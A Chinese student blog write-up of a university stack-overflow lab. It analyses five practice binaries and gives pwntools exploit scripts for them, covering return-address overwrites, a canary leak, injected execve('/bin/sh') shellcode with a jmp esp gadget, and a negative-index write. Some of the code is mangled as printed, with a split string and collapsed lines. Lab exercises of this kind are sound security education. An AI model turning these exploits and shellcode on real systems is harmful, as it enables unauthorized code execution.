本文主要是介绍ouc 网络安全实验 Stack Overflow Shellcode,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 要求
- lab0
- lab1
- lab2
- lab3
- lab4
因为当时自己做实验的时候出现了很多疑问不会解决,在网上看到了一位大佬 王森ouc 的专栏文章解决了很多问题,也学到了很多知识和解决问题的方法,现在把我的实验解决方法也发上来,希望有不会的同学可以通过博文理解实验内容,同时能够熟练掌握这些知识。感谢这位大佬和课堂中帮助过我的同学老师。
注意:博文仅供学习参考使用,请勿直接复制粘贴,因个人复制粘贴造成的后果博主一概不负责任。
要求
lab7 包括 5 个题目 (lab7-[1-5]),请分析 5 个题目找到其中的漏洞,写出利用脚本并拿到 shell。其中 lab7-1/2/3 比较简单,主要考察栈溢出、shellcode 和canary 绕过等,lab7-4、lab7-5 增加了一点难度。
- 逆向分析二进制文件的逻辑,关注缓冲区的大小和读写操作,找出漏洞的位置和触发方法。
- 查看文件保护机制,调试、计算偏移、考虑利用方法。
- 编写利用脚本,拿到 shell。
lab0
在 IDA 里查看伪代码,发现 main 函数调用 sayhi() 函数,sayhi()函数调用 myread()函数,read 读取 256 个字符到地址(&v1)中。但是上面定义的 v1 是 char 型,只能存储一个字符,在调用 myRead 函数时,却让它读取 256 个字符,会发生栈溢出。
查看 seeme() 函数,发现该函数的功能就是拿到 shell。因此考虑通过栈溢出覆盖 sayhi 函数的返回地址,获取到 shellcode。栈示意图如下所示。
编写 python 代码,如下在终端运行。
from pwn import *
conn=process('./level0')
seeme=0x080485B3
conn.recv()
payload = b'a' * (0x28 + 4)+p32(seeme)
conn.sendline(payload)
conn.recv()
conn.interactive()
lab1
在 IDA 里查看伪代码,发现 sub_80484E9() 函数调用 myRead(int a1, int a2) 函数,通过 read() 函数读取 32 个字符到全局变量 unk_804A060 中,再输出读入的字符,最后再用 read 函数读 256 个字符到局部变量 v1 中。
实现溢出后就需要注入 shellcode。因为 sub_80484E9() 函数中的输出函数调用全局变量 unk_804A060 的地址,因此将 shellcode 代码注入全局变量 unk_804A060 中,此全局变量的地址是 0x0804A060。v1 在栈上的位置是 ebp-28h,return 语句输入的字符串的首地址是 v1的地址。首先可以输入 28h 个字符覆盖从 v1 到 ebp 的内容,再输入 4个字符覆盖旧的 ebp,最后输入存放 shellcode 指令的地址 0x0804A060(也就是全局变量的地址)即可,栈示意图如下所示。
编写 python 代码(如下),在虚拟机终端运行代码实现功能。
#!/usr/bin/env python3
from pwn import *
p = process('./level1')
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe
3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
p.sendline(shellcode)
getshell = 0x0804A060
payload = b'a' * (0x28 + 4) + p32(getshell)
p.recvuntil('.\n')
p.sendline(payload)
p.interactive()
lab2
在 IDA 里查看伪代码,(如图 3-1)发现 main()函数调用 func()函数,func() 函数定义了 char 型变量 buf,然后又定义了一个 int 型的局部变量 v2,用来存放 canary 的值,可以通过读取 *MK_FP(GS, 20) 得到 canary。Result 等于 canary 和 v2 进行异或,如果两者相同,Result 等于 0,若不同,则会返回一个非零值。
本题中的 seeme()函数给出了获取 shellcode 的函数,因此不用自己再写。需要的时候将返回地址改为 seeme()函数的首地址 0x08048516 即可。
Func() 函数用 read 函数读取 0x28 个字节到 buf 中。但是 buf 是 char 型变量,在栈中只有 1 个字节的位置,如果读取 28h 个字节的话,会造成栈溢出。将数据读到 buf 之后,printf 函数输出 buf 中的内容,因为字符串以\x00 作为结束标记,所以 printf 在读到 \x00 的时候就知道这个字符串结束了。而 canary 的最低字节是\x00,v2(即本题中的 canary)在栈中的首地址是 ebp-0Ch,而且本题中低地址存放低字节,所以 ebp0Ch 指向的字节单元的值就是\x00。因此如果在输入 buf 的内容时,多输入几个字符覆盖 ebp-0Ch,printf 函数在输出到 ebp-0Ch 的时候,没有发现\x00,就会继续输出后面 canary 的值。
buf 在栈上的位置是 ebp-24h,v2 在栈上的位置是 ebp-Ch,输入 24 个字符填充 ebp-24h 到 ebp-Ch 的栈内容,再多输入一个字符覆盖 ebp-Ch处的\x00。之后用输出的 canary(注意 canary 的最低字节需要恢复成\x00)填充 v2(四字节),填充到了 ebp-8h。再用 8 个字符填充到 ebp,用 4 个字符覆盖 ebp,最后用 seeme()函数的入口地址覆盖返回地址,因此输入字符串应该为:24 个填充字符+canary+12 个填充字符+seeme函数入口地址,栈示意图如图所示。
编写 python 代码(如下),在虚拟机终端运行代码实现功能。
#!/usr/bin/env python3
from pwn import *
p = process('./level2')
offset = 0x24-0xC
p.send('a' * (offset + 1))
p.recvuntil('a' * (offset + 1))
canary = b'\x00' + p.recv(3)
payload = b'a' * offset + canary + b'a' * 12 + b'\x16\x85\x04\x08'
p.send(payload)
p.recvuntil('a' * offset + '\n')
p.interactive()
lab3
查看 IDA 生成的伪代码,发现 main()函数调用readerFunc()函数,readerFunc() 函数调用了 getLens() 函数,getLens()函数在输入完 buf 的值之后,会问是否需要修改输入的数据(Y/N),然后通过 read()函数读取 16 个字符。
getLens() 函数在输入完 v2 的值之后,会问是否需要修改输入的数据(Y/N),然后通过 read() 函数读取 16 个字符。buf 的栈空间位置是 ebp-18h,v2 的栈空间位置是 ebp-Ch,相差 12 个字节内存空间,但是读了 16 个字节的数据,所以多出来的四个字节会覆盖 v2 原来的值,也就是 readerFunc() 函数中读取数据的长度可以被改变。通过这种方法,可以读入比规定长度(32 字节)长的数据,从而造成缓冲区溢出。所以输入的字符串长度是:2Ch (覆盖 buf 到 ebp)+ 4(覆盖旧的 ebp)+ 4(新的返回地址) + shellcode 指令的长度= 4Dh。getLens() 函数的栈情况如图所示。
实现溢出后就需要注入 shellcode。readerFunc() 函数中不像 Level 1 一样有全局变量,存在可以确定的绝对地址。如果把 shellcode 写到 buf里,只能确认它的地址是 ebp-2Ch,但是 ebp 每次运行的时候都不一样,所以不能确定 shellcode 指令的入口地址。调试发现每次 ret 前,esp都指向 ret 下面那条指令,也就是 ebp+8,所以把 shellcode 覆盖到这里。在返回地址处写入 jmp esp 指令的地址,实现函数跳转。
编写 python 代码(如下),在虚拟机终端运行代码实现功能。
from pwn import*
p = process('./level3')
retAddr = '\x6b\x88\x04\x08'
shellcode = 'a' * 48 + retAddr + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
sendstr = 'a' * 12 + '\x4d\x00\x00\x00'
p.send('0')
p.send(sendstr)
p.recv()
p.send(shellcode)
p.interactive()
lab4
查看 IDA 生成的伪代码,发现 main() 函数调用 sayHi() 函数,sayHi() 函数用 scanf 读入 9 个字节到 v1,没有办法修改。令 result 等于*MK_FP(GS, 20)和 v2 的异或,又一次使用了 canary。之后在 createArr() 函数中通过循环,用 scanf 进行整数的读取,再对其输出。
在函数 createArr()中,int 型变量 v1 在 ebp-24h,int 型变量 v2 在ebp-20h,int 型变量 i 在 ebp-1Ch,int 型数组 s 大小为 3,在栈里的 ebp-18h 位置上。最后是存放 canary 的 v5(canary 机制在本题没有用),在栈的 ebp-Ch。整个栈空间如图所示。
再次分析 createArr() 函数,首先输入 v1 作为数组 s 的下标,要求输入的数字不能大于 3,否则程序退出,再输入整数 v2 作为 s[v1]。因为程序没有设置输入数字的最小值,所以 v1(数组下标)可以是负数。由图 5-4 可看出,返回地址在栈里的位置是 ebp+4,假设输入的索引在 eax 里,数组的首地址为 ebp-18h,那么 ebp - 18h (数组首地址)+ 4 * eax (覆盖的栈的数量 * int 型 4 字节)= ebp + 4(返回地址),因此令 eax =1Ch/4,最高两位写成 10 或 11,就可以保证eax 为负数且满足覆盖条件。
手动注入 shellcode 的地址和 Level 3 的思路一样,把 shellcode 注入到返回地址的下面,即 ebp+8 的位置,然后让返回地址的值为 jmp esp 指令的地址,实现函数跳转。
本题的注入方法和上一个不一样。上一个直接输入就可以,这一题函数用 i 计数,只允许进行三次输入。i 比数组 s 的首地址低 4 个字节(如图 5-4),即 i 在 s[-1]的位置。因为函数内部只要求数组下标大于等于 0,所以输入的 v1 为 -1 ,v2 为想要输入的次数变形后的值。比如想再循环读 5 次,就应该输入 v2 的值为-3,即 s[-1]=-3,相当于 i=-3,这样 i 的值就可以被改变。同时注意如果输入 v2 的值为 -2 的话,完成本此循环后,i 会在当前输入的基础上自加,变成-1,只能再进行四次循环。
编写 python 代码(如下),在虚拟机终端运行代码实现功能。
from pwn import*
def HexToInt(data):width = 32dec_data = int(data, 16) if dec_data > 2 ** (width - 1) - 1:dec_data = 2 ** width-dec_datadec_data=0-dec_datadec_data = '%d' %dec_datareturn dec_data
p = process('./level4')
p.sendline('testtes')
indexs = ['80000007', 'ffffffff', '80000008', '80000009', '8000000a', '8000000b', '8000000c','8000000d', '8000000e']
values = ['804885b', 'fffffffb', '6850c031','68732f2f','69622f68','50e3896e','31e18953', 'cd0bb0d2', '80']
for i in range(9):p.sendline(HexToInt(indexs[i]))p.sendline(HexToInt(values[i]))
p.recv()
p.interactive()
这篇关于ouc 网络安全实验 Stack Overflow Shellcode的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!